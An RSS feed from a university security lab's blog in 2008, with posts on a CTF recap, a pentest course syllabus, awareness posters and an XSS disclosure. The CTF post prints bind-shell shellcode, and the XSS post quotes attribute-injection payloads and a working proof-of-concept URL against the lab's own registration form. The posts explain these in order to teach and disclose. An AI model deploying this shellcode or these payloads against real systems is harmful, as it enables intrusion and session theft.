<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule"
>

<channel>
	<title>ISIS &#187; Meta</title>
	<atom:link href="http://isisblogs.poly.edu/category/meta/feed/" rel="self" type="application/rss+xml" />
	<link>http://isisblogs.poly.edu</link>
	<description>Information Systems and Internet Security</description>
	<lastBuildDate>Mon, 20 Oct 2008 17:57:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
		<item>
		<title>CSAW08 CTF</title>
		<link>http://isisblogs.poly.edu/2008/09/27/csaw08-ctf/</link>
		<comments>http://isisblogs.poly.edu/2008/09/27/csaw08-ctf/#comments</comments>
		<pubDate>Sat, 27 Sep 2008 21:46:33 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Press Release]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=219</guid>
		<description><![CDATA[Our lab holds a Capture the Flag (CTF) hacking contest as part of CSAW each year and the tagline for it is:
&#8220;A digital cyber attack and defense competition in detecting application security vulnerabilities.&#8221;
&#8230;but shhhhh! Don&#8217;t tell marketing, there is absolutely no defense involved!  . I believe that attack has merits on its own, but [...]]]></description>
			<content:encoded><![CDATA[<p>Our lab holds a Capture the Flag (CTF) hacking contest as part of <a href="http://isis.poly.edu/csaw">CSAW</a> each year and the tagline for it is:</p>
<blockquote><p>&#8220;A digital cyber attack and defense competition in detecting application security vulnerabilities.&#8221;</p></blockquote>
<p>&#8230;but shhhhh! Don&#8217;t tell marketing, there is absolutely no defense involved! <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . I believe that attack has merits on its own, but that is a discussion for another time.</p>
<p>CSAW CTF started out in 2004 as a network-based game with dozens of virtual machines running known vulnerable software. The challenge was to discover and detect these issues and then find or tweak public exploits to work on them. This could have been a good way to run CTF, but we simply couldn&#8217;t afford the time to make it work properly. I ended up taking second place to Michael Aiello, now a close friend of mine, that year. Afterwards, Mike and I sacrificed our chances of winning the next year by helping develop the 2005 contest and, along with other members of the lab, changed the game&#8217;s format to how it remains to this day.<br />
<span id="more-219"></span><br />
In CSAW CTF, participants are given a series of challenges divided into different categories and each challenge is worth a specified number of points. In reality, a &#8220;challenge&#8221; is a small bit of code with a single security vulnerability implanted in it. &#8220;Solving&#8221; the challenge means exploiting this vulnerability. The challenge spits out a secret password upon completion which the participant can redeem for points on the scoreboard. We relate this to events like the <a class="link" href="http://nopsr.us/ctf2007prequal/">Defcon Pre-quals</a> without the requirement that participants solve easier challenges first to reach the harder ones. We try to keep a similarly wide breadth of categories; this year we had <em>Web Applications</em>, <em>Binary Exploitation</em>, <em>Reverse Engineering</em>, <em>Trivia</em>, and <em>Bug Hunting</em>. If you&#8217;re interested in what the challenges were then pay attention to, what will likely be called, the OWASP CTF Project which this year&#8217;s CSAW CTF has been donated to. I expect all that to be ready within a week or two and I will definitely make a separate blog post about it.</p>
<p>This year&#8217;s CSAW CTF was our largest ever. We had 46 teams, over 150 individual players, and 50 different schools compete in it (all students too!), putting us at <em>one of the largest CTF competitions world-wide</em>. It&#8217;s gotten to the point where I can name a few, and only a few, other competitions that are larger than we are.</p>
<p>CSAW08 CTF started at 8pm EST on Friday, September 19th and it quickly become clear which teams would end up in the top 10. <strong>MyLittlePwnies</strong>, a team of 8 from <a href="http://www.nps.edu">NPS</a>, methodically solved a majority of the challenges that very first night and got off to an early lead. To my surprise, a small handful of other teams trailed close behind and before the night was over <strong>RPISEC </strong>passed them by! This was not good news for me because between trying to work out the kinks people were finding and answering questions (it was basically a one-man-show this year), I didn&#8217;t have much time to put up new challenges. Let that be a lesson for everyone else planning CTFs out there: always work with a partner, no matter how smooth you think the scoring system is!</p>
<p>As a low-cost way of getting a binary exploitation challenge up, I gave everyone Lurene Grenier&#8217;s <a href="http://vrt-sourcefire.blogspot.com/2008/08/defcon-testing-and-exploiting.html">Advanced WIndows Buffer Overflow (AWBO) #2</a> to chew on. For a challenge that comes with the warning:</p>
<blockquote><p>&#8220;This next test could take a very, very long time. If you become lightheaded from thirst, feel free to pass out. An intubation associate will be dispatched to revive you with peptic salve and adrenaline.&#8221;</p></blockquote>
<p>&#8230; I expected this to buy me some time but 5 teams solved AWBO#2 and some did it within 2 hours. One team even solved it on <em>Vista </em>just because they had no other Windows installations available. Those teams were: TeamTefaye, RPISEC, MyLittlePwnies, teamSparta, and FluxFingers. Congratulations guys, that was really impressive!</p>
<p>The final trivia question for that night was: What does this code do? 31C04089460C89C34089460804048946108D4E08B066CD8089C231<br />
C0C646080266C7460A358289460C8956118D4E08894E154389D980<br />
C10E894E198D4E11B066CD80B0664343CD8031C043894615894619<br />
B066CD8089C331C089460C89C1B03FCD8041B03FCD8041B03FCD80<br />
EB1A5E31C08846098D1E895E0B89460FB00B89F38D4E0B8D560FCD80<br />
E8E1FFFFFF2F62696E2F62617368</p>
<p>Right after I posted it, I made sure to remind MyLittlePwnies since they were asking me for something exploitation or reversing related. Here is my conversation with one of their team members (hint: check the timestamps).</p>
<blockquote><p>(1:52:15 AM) dan: btw, you saw the trivia right?<br />
(1:53:54 AM) blacksheep: yup, just saw that.<br />
(1:54:34 AM) blacksheep: trivia answer is<br />
(1:55:02 AM) blacksheep: bind port backdoor shell on port 13698 on a linux system with /bin/bash as the shell</p></blockquote>
<p>I gave them extra points for such a fast answer <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . The second day ended with <strong>RPISEC </strong>in first, by a small margin, over <strong>Team Tefaye</strong> and <strong>Pwntatoes </strong>in a distant third.</p>
<p>The last day of the competition was a short one, the game was over at 3pm EST on Sunday, September 21st. The only challenges any teams really had time to do were some of the more open-ended ones like the &#8220;Client-side Challenge&#8221; which I&#8217;ll now explain. In the Client-side Challenge, you are taking a class with &#8220;Joe the TA&#8221; and you really want to break into either his e-mail or his local computer for advance information about tests and homeworks. He handed out his e-mail to you at the beginning of the semester and you know that he logs in to a webmail installation conveniently hosted on the CTF server. &#8220;Joe&#8221; also tends to click on any link that looks convincing. Teams were given 500 points for access to his mail spool, 1000 points for access to his filesystem, and 400 points if they could persist that access across the &#8220;semester&#8221; (a rootkit, an email forward, a persistent XSS, etc). Let me tell you, NEVER click on a link from Team Tefaye! Their first try set up an e-mail forward, a persistent XSS, and stole my session cookies while forwarding me to the intended link target described in their e-mail all in a single action. They returned later and trojaned the box for an extra 1000 points. Damn! This finally put Team Tefaye in a solid lead over RPISEC which they were able to maintain until the end of the contest.</p>
<p>Here&#8217;s the final scoreboard:<br />
<a href="http://isisblogs.poly.edu/wp-content/uploads/ctf_final_cropped.png" rel="lightbox[219]"><img class="alignnone size-thumbnail wp-image-221" title="ctf_final_cropped" src="http://isisblogs.poly.edu/wp-content/uploads/ctf_final_cropped-150x150.png" alt="" width="150" height="150" /></a></p>
<p><strong>Team Tefaye</strong> took first, <strong>RPISEC </strong>took second, and <strong>Pwntatoes </strong>took third. <strong>The Down Ownerz</strong> got the bonus prize for being the youngest team playing. Congratulations guys!</p>
<p>There was a lot of great stuff that went on last weekend and I&#8217;m sorry I couldn&#8217;t get to all of it in this blog post. If any of the people who played have more to say, post it in a comment.</p>
<p><a href="http://rgov.org/?p=119">rgov from RPISEC</a>: &#8220;(Bonus: I was able to use cross-site scripting to RickRoll most of the players and some of the organizers.)&#8221; Yep, NoScript doesn&#8217;t work so well when you whitelist the domain <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_mad.gif' alt=':-x' class='wp-smiley' /> </p>
<p><a href="http://robescriva.com/2008/09/rpi-sec-becomes-official/">Rob Escriva from RPISEC</a>: &#8220;This weekend I&#8217;ll be doing a writeup on a bug I found in the &#8220;leaky&#8221; challenge of the 2008 <a href="http://isis.poly.edu/csaw/">CSAW</a> contest.&#8221;</p>
<p>I almost forgot, I have a few people to thank for helping out in various ways with CTF: Alicia Bozyk, Aleksey, Dean De Beer, Stephen Ridley, Michael Aiello, and Eric Hulse. Thanks guys!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/09/27/csaw08-ctf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Security Awareness Posters</title>
		<link>http://isisblogs.poly.edu/2008/09/01/security-awareness-posters/</link>
		<comments>http://isisblogs.poly.edu/2008/09/01/security-awareness-posters/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 23:27:10 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Press Release]]></category>
		<category><![CDATA[Psychology of Security]]></category>
		<category><![CDATA[Social Engineering]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=208</guid>
		<description><![CDATA[Every year, as part of CSAW, we hold a Security Awareness Poster contest where we ask students to convey a simple message regarding any current issue in information security. These posters always turn out amazing and are among the most impressive, if non-technical, entries we get. Unfortunately, we haven&#8217;t been so good at sharing these [...]]]></description>
			<content:encoded><![CDATA[<p>Every year, as part of <a href="http://isis.poly.edu/csaw">CSAW</a>, we hold a Security Awareness Poster contest where we ask students to convey a simple message regarding any current issue in information security. These posters always turn out amazing and are among the most impressive, if non-technical, entries we get. Unfortunately, we haven&#8217;t been so good at sharing these posters with others and usually only make a few printouts for ourselves in the lab.</p>
<p>Today, that is going to change. I uploaded my hand-picked favorites from the last 3 years to my web site for the entire web to enjoy! I tried to mark who made what poster in the title but please leave me a message if I missed yours.</p>
<div id="attachment_209" class="wp-caption aligncenter" style="width: 241px"><a href="http://isisblogs.poly.edu/wp-content/uploads/private-information-is-worth-keeping-hidden.jpg" rel="lightbox[208]"><img class="size-medium wp-image-209" title="private-information-is-worth-keeping-hidden" src="http://isisblogs.poly.edu/wp-content/uploads/private-information-is-worth-keeping-hidden-231x300.jpg" alt="" width="231" height="300" /></a><p class="wp-caption-text">Amanda Morante&#39;s 1st place entry from 2006</p></div>
<p><a href="http://cryptocity.net/files/awareness_posters/">View the full library of awareness poster images here</a>.</p>
<p>Registration for <a href="http://isis.poly.edu/csaw">CSAW 2008</a> is still open and we will be having the <a href="http://isis.poly.edu/csaw/awareness">Security Awareness Poster</a> contest again, in addition to 6 other contests. If you know any graphic designers, convince them to join!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/09/01/security-awareness-posters/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Fall Penetration Testing and Exploit-Dev course</title>
		<link>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/</link>
		<comments>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 17:00:05 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=158</guid>
		<description><![CDATA[This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by Fortify Software and Matta (thank you!). Additionally, the class will be held on-campus rather than online as it has been.
The instructor for the course is [...]]]></description>
			<content:encoded><![CDATA[<p>This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by <a href="http://www.fortify.com/">Fortify Software</a> and <a href="http://trustmatta.com/">Matta</a> (thank you!). Additionally, the class will be held on-campus rather than online as it has been.</p>
<p>The instructor for the course is Nasir Memon with TA&#8217;s Dan Guido (me) and Vikram Padman. The syllabus has been finalized and the guest professors as well as their respective topics are as follows:</p>
<ul>
<li> Sept 4th &#8212; Introduction and <a href="http://isis.poly.edu/csaw/">CSAW</a>, <a href="http://cryptocity.net/">Dan Guido</a></li>
<li> Sept 11th &#8212; Source Code Analysis, <a href="http://cryptocity.net/">Dan Guido</a><a href="http://cryptocity.net/" target="_blank"></a></li>
<li> Sept 18th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
<li> Sept 25th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
</ul>
<ul>
<li> October 2nd &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 9th &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 16th &#8212; TAKE-HOME MIDTERM</li>
<li> October 23rd &#8212; Fuzzing,Â <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
<li> October 30th &#8212; Fuzzing, <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
</ul>
<ul>
<li> November 6th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 13th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 20th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
<li> November 27th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
</ul>
<ul>
<li> December 4th &#8212; FINAL PROJECTS</li>
<li> December 11th &#8212; hack the planet/show off projects</li>
</ul>
<p>Students will have to complete one homework assignment every two weeks, a take-home midterm, and do a final project of their choosing. Each two week session will contain one full session of Q&amp;A to review the homework associated with it. Extra credit will be given for participating in <a href="http://isis.poly.edu/csaw/">CSAW</a> and <a href="http://www.cs.ucsb.edu/~vigna/CTF/">UCSB iCTF</a>.</p>
<p>Any questions about the course can be e-mailed to me at <a href="mailto:dguido@gmail.com">dguido@gmail.com</a>.</p>
<p>EDIT: The course will be held in room <strong>RH227</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>ComputerWorld: NYU-Poly, an IT school to watch</title>
		<link>http://isisblogs.poly.edu/2008/08/20/computerworld-nyu-poly-an-it-school-to-watch/</link>
		<comments>http://isisblogs.poly.edu/2008/08/20/computerworld-nyu-poly-an-it-school-to-watch/#comments</comments>
		<pubDate>Wed, 20 Aug 2008 18:14:04 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[ISIS in the News]]></category>
		<category><![CDATA[Meta]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=201</guid>
		<description><![CDATA[A recent article in ComputerWorld profiled NYU-Poly, and specifically the ISIS lab, as 1 of 10 &#8220;IT Schools to Watch.&#8221;
When Stan Nurilov attended Polytechnic Institute of New York University in an accelerated bachelor&#8217;s/master&#8217;s of computer science program from 2002 to 2006, he truly enjoyed the technical courses he took in areas like operating systems and [...]]]></description>
			<content:encoded><![CDATA[<p>A recent article in ComputerWorld <a href="http://www.computerworld.com/action/article.do?command=printArticleBasic&#038;articleId=322705">profiled NYU-Poly</a>, and specifically the ISIS lab, as 1 of 10 &#8220;<a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&#038;articleId=9112620">IT Schools to Watch</a>.&#8221;</p>
<blockquote><p>When Stan Nurilov attended Polytechnic Institute of New York University in an accelerated bachelor&#8217;s/master&#8217;s of computer science program from 2002 to 2006, he truly enjoyed the technical courses he took in areas like operating systems and databases.</p>
<p>But it wasn&#8217;t until he graduated and began working as a software developer/project leader for a branch of the U.S. military that Nurilov fully appreciated the project-level courses that taught him about leadership qualities.</p>
<p>&#8220;Those classes really help me when I need to work with customers and gain collaboration on projects,&#8221; he says.</p></blockquote>
<p>Stan is a graduate of our <a href="http://isis.poly.edu/index.php?page=4">SFS</a> program that pays for two years of tuition, rent, and other expenses in exchange for a commitment to work at a government agency for two years.</p>
<p>Head over to <a href="http://www.computerworld.com/action/article.do?command=printArticleBasic&#038;articleId=322705">ComputerWorld</a> and read the rest of the article!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/20/computerworld-nyu-poly-an-it-school-to-watch/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>PHP strip_tags not a complete protection against XSS</title>
		<link>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/</link>
		<comments>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/#comments</comments>
		<pubDate>Sun, 17 Aug 2008 02:17:01 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Meta]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=187</guid>
		<description><![CDATA[On August 13th .mario, a high-profile member of the sla.ckers.org forum, alerted me to a XSS issue on the CSAW registration form. I had previously looked through the code and concluded it was safe based on this block of filtering code included at the top of the page:
//don't use this script!
foreach ($_COOKIE as &#38;$cookie) {
 [...]]]></description>
			<content:encoded><![CDATA[<p>On August 13th <a href="http://sla.ckers.org/forum/profile.php?13,59">.mario</a>, a high-profile member of the <a href="http://sla.ckers.org/forum/">sla.ckers.org</a> forum, alerted me to a XSS issue on the CSAW <a href="http://isis.poly.edu/csaw/register">registration form</a>. I had previously looked through the code and concluded it was safe based on this block of filtering code included at the top of the page:</p>
<pre>//don't use this script!
foreach ($_COOKIE as &amp;$cookie) {
  $cookie = trim(strip_tags(@mysqli_real_escape_string($mySQL, $cookie)));
}
foreach ($_POST as &amp;$post) {
  if (is_array($post)) {
    foreach ($post as &amp;$_post) {
      $_post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $_post)));
    }
  }
  else {
    $post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $post)));
  }
}</pre>
<p>Additionally, the registration script limits sources of user controllable input by only ever using the POST and COOKIE superglobals.<br />
<span id="more-187"></span></p>
<p>This script eliminates potential SQL injections by calling <a href="http://www.php.net/mysqli_real_escape_string">mysqli_real_escape_string</a> on all user input. The *_real_escape_string functions in PHP are the only safe way to prevent SQL injection attacks as there are ways to sneak attacks by the [deprecated] *_escape_string and addslashes functions, for example, with <a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string">different character encodings</a>.</p>
<p>After being processed by mysql_real_escape_string, all user input is then filtered through <a href="http://www.php.net/strip_tags">strip_tags</a>, a function which one might <em>think</em> would prevent cross-site-scripting attacks by completely removing any HTML and PHP tags it finds. strip_tags works through many different encodings and very effectively <em>strips tags</em>, however, seasoned web hackers will be saying at this point &#8220;there are other ways to inject javascript without tags!&#8221; and they would be right.</p>
<p>The easiest way to avoid strip_tags is to inject a quote to close the current attribute, create a giant block with a new CSS style attribute, and make it evaluate javascript onmouseover. Using <a href="http://sla.ckers.org/forum/read.php?2,20942">an example</a> from the sla.ckers.org forum and .mario himself:</p>
<pre>" onwhatever=alert(1) a="</pre>
<p>This accomplishes the goal of injecting javascript into the target application without creating any additional HTML or PHP tags, and strip_tags won&#8217;t pick it up!</p>
<p>I asked .mario if he would be kind enough to provide us with a proof of concept that would work specifically in the context of the CSAW registration page. He did not disappoint and PM&#8217;d me the following attack string:</p>
<blockquote><p>http://evil.hackademix.net/name.xss/***http://isis.poly.edu/csaw/register?name=&#8221;style=&#8221;a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;&#8221;onmouseover=alert(/XSS/[-1]);eval(name) a=&#8221;***content,post</p>
<p>*** This has been URL decoded.<br />
*** For the original, please see <a href="http://preview.tinyurl.com/csawxss">http://preview.tinyurl.com/csawxss</a></p></blockquote>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/csaw-xss.png" rel="lightbox[187]"><img class="aligncenter size-medium wp-image-188" title="csaw-xss" src="http://isisblogs.poly.edu/wp-content/uploads/csaw-xss-300x138.png" alt="" width="300" height="138" /></a></p>
<p>His attack utilizes a service <a href="http://hackademix.net/">Giorgio Maone</a> wrote (the name.xss part of the URL) to launch XSS attacks on websites that limit user input to parameters other than GET, as ours does. The attack works as I described above, by adding new attributes into the existing tag and creating a large CSS block that triggers javascript onmouseover. Interestingly, this complicated attack string is processed as javascript by all the major browsers including IE8, Firefox 3, Opera 9.51, and Safari 3! I was really impressed.</p>
<p>After verifying the PoC, I made a small addition to our filtering script to prevent this attack by adding an <a href="http://www.php.net/htmlentities">htmlentities</a> function call to each iteration of the two loops. This isn&#8217;t the best solution as it escapes input more than is necessary and I didn&#8217;t have a chance to bug test it much at all. A better solution can be found in the same sla.ckers.org forum post I found the attack string in:</p>
<blockquote><p>&#8230;the best practice is IMHO:</p>
<p>Input -&gt; Validate -&gt; Filter (CRLF, Ctrl-Chars) -&gt; Escape -&gt; Store -&gt; Encode (Just the characters you need to encode) -&gt; Output</p>
<p>Validation can be done via type check or regex, for filtering the ord() method does a great job, escaping is done by mysql_(real)_escape_string() and encoding is done by correctly parametrized htmlentities().</p></blockquote>
<p>We&#8217;ll be looking into ways to rewrite our filtering script according to this advice, and also at <a href="http://php-ids.org/">PHP-IDS</a>, as a way to prevent these types of issues in the future.</p>
<p>Thanks <a href="http://mario.heideri.ch/">.mario</a>!</p>
<p>EDIT 08/17/2008: I incorrectly attributed the name.xss bridge to mario. It is actually the creation of Giorgio Maone.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Blogging the NECCDC</title>
		<link>http://isisblogs.poly.edu/2008/02/29/pre-neccdc/</link>
		<comments>http://isisblogs.poly.edu/2008/02/29/pre-neccdc/#comments</comments>
		<pubDate>Sat, 01 Mar 2008 03:52:33 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[ISIS in the News]]></category>
		<category><![CDATA[Meta]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/02/26/pre-neccdc/</guid>
		<description><![CDATA[-3 days: ISIS Labs is bringing 6 of its finest to compete in the North-East Collegiate Cyber Defense Competition (NECCDC) in Rochester, NY this weekend. Wish us luck!
I&#8217;ll try and keep you informed as to how the contest is going, what it&#8217;s like to compete in one of these things, and if we are winning [...]]]></description>
			<content:encoded><![CDATA[<p>-3 days: ISIS Labs is bringing 6 of its finest to compete in the <a href="http://www.nssa.rit.edu/neccdc/">North-East Collegiate</a> <a href="http://www.nationalccdc.org/">Cyber Defense Competition</a> (NECCDC) in Rochester, NY this weekend. Wish us luck!</p>
<p>I&#8217;ll try and keep you informed as to how the contest is going, what it&#8217;s like to compete in one of these things, and if we are winning by <em>live-blogging the event from our hotel room</em> each night. I don&#8217;t see <em>that</em> banned in any of the <a href="http://www.nssa.rit.edu/neccdc/rules.html">dozens</a> of <a href="http://www.nssa.rit.edu/neccdc/faq.html">rules</a> we&#8217;ve been made aware of so far!<span id="more-62"></span>-26 hours: It&#8217;s 2 hours before we leave for Rochester and I&#8217;ve come down with a cold, it has started snowing throughout Northern NY, and the team collectively realized we don&#8217;t have a GPS unit for the 6 hour drive. Instead, we will be navigating via <em>iPhone</em>. Make sure to keep an eye on CNN tonight for reports of a van full of computer nerds barreling off I-80 into a ditch.</p>
<p>-12 hours: We made it, and not a single wrong turn! But you see <a href="http://automobiles.honda.com/element/interior-photos.aspx?num=El7-91">this</a>? That&#8217;s a 4-seater. We had 5 people. Oops! I think one of Mike, Alex, or Brad is going to bill Prof. Memon for a butt-massage after sitting 6 hours on a bunch of cup holders. Thanks guys for not complaining!</p>
<p>Strat is coming up by train tomorrow and I think someone will be going home with him the same way <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_mad.gif' alt=':-x' class='wp-smiley' /> .</p>
<p>We still have no idea what to expect for this competition. The only thing we&#8217;ve seemed to agree on so far is that it&#8217;s impossible for the Red Team not to have <em>some</em> advance knowledge of the competition machines. We can&#8217;t see how this will be much of a challenge once we put our uber-firewall in place. We&#8217;ll see.</p>
<p>+10 hours: see the comments below</p>
<p>Attached files:</p>
<ul>
<li><a href="http://isisblogs.poly.edu/wp-content/uploads/neccdc_policies.zip">NECCDC Policy Docs</a></li>
<li><a href="http://isisblogs.poly.edu/wp-content/uploads/grand_chasm_it_overview.pdf">Security Approach/Philosophy</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/02/29/pre-neccdc/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>ISIS made some new friends</title>
		<link>http://isisblogs.poly.edu/2008/02/19/isis-made-some-new-friends/</link>
		<comments>http://isisblogs.poly.edu/2008/02/19/isis-made-some-new-friends/#comments</comments>
		<pubDate>Wed, 20 Feb 2008 04:29:57 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Meta]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/02/19/isis-made-some-new-friends/</guid>
		<description><![CDATA[I just wanted to give a shout-out to some new friends that ISIS has made over the last few days through ShmooCon, NYSec, and elsewhere: Hello Matteo, AJ, Dino, Erik, Mike, Kees, and the NYCResistor Hacker Space! It was nice meeting all of you, keep in touch and call me if you want to grab [...]]]></description>
			<content:encoded><![CDATA[<p>I just wanted to give a shout-out to some new friends that ISIS has made over the last few days through ShmooCon, NYSec, and elsewhere: Hello <a href="http://ny.frb.org">Matteo</a>, <a href="http://www.prolifics.com">AJ</a>, <a href="http://www.theta44.org">Dino</a>, Erik, <a href="http://schmoil.blogspot.com/">Mike</a>, <a href="http://www.leune.org/blog/kees/2008/02/polytechnic-isis-blogs.html">Kees</a>, and the <a href="http://www.nycresistor.com/2008/02/04/nyc-resistor-is-now-a-hacker-space/">NYCResistor</a> Hacker Space! It was nice meeting all of you, keep in touch and call me if you want to grab a beer!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/02/19/isis-made-some-new-friends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Reverse engineering mailing list</title>
		<link>http://isisblogs.poly.edu/2007/02/13/reverse-engineering-mailing-list/</link>
		<comments>http://isisblogs.poly.edu/2007/02/13/reverse-engineering-mailing-list/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 06:11:40 +0000</pubDate>
		<dc:creator>Yan Ivnitskiy</dc:creator>
				<category><![CDATA[Meta]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2007/02/13/reverse-engineering-mailing-list/</guid>
		<description><![CDATA[A mailing list for our re group was created. If you are truly serious about joining, please write to me (yan@isis.poly.edu) and I will add you. The list is meant to exchange ideas, topics, materials, and post challenges for other subscribers (along with tips).
The list is going to be informal and of average volume.
]]></description>
			<content:encoded><![CDATA[<p>A mailing list for our re group was created. If you are truly serious about joining, please write to me (yan@isis.poly.edu) and I will add you. The list is meant to exchange ideas, topics, materials, and post challenges for other subscribers (along with tips).</p>
<p>The list is going to be informal and of average volume.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2007/02/13/reverse-engineering-mailing-list/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
	</channel>
</rss>
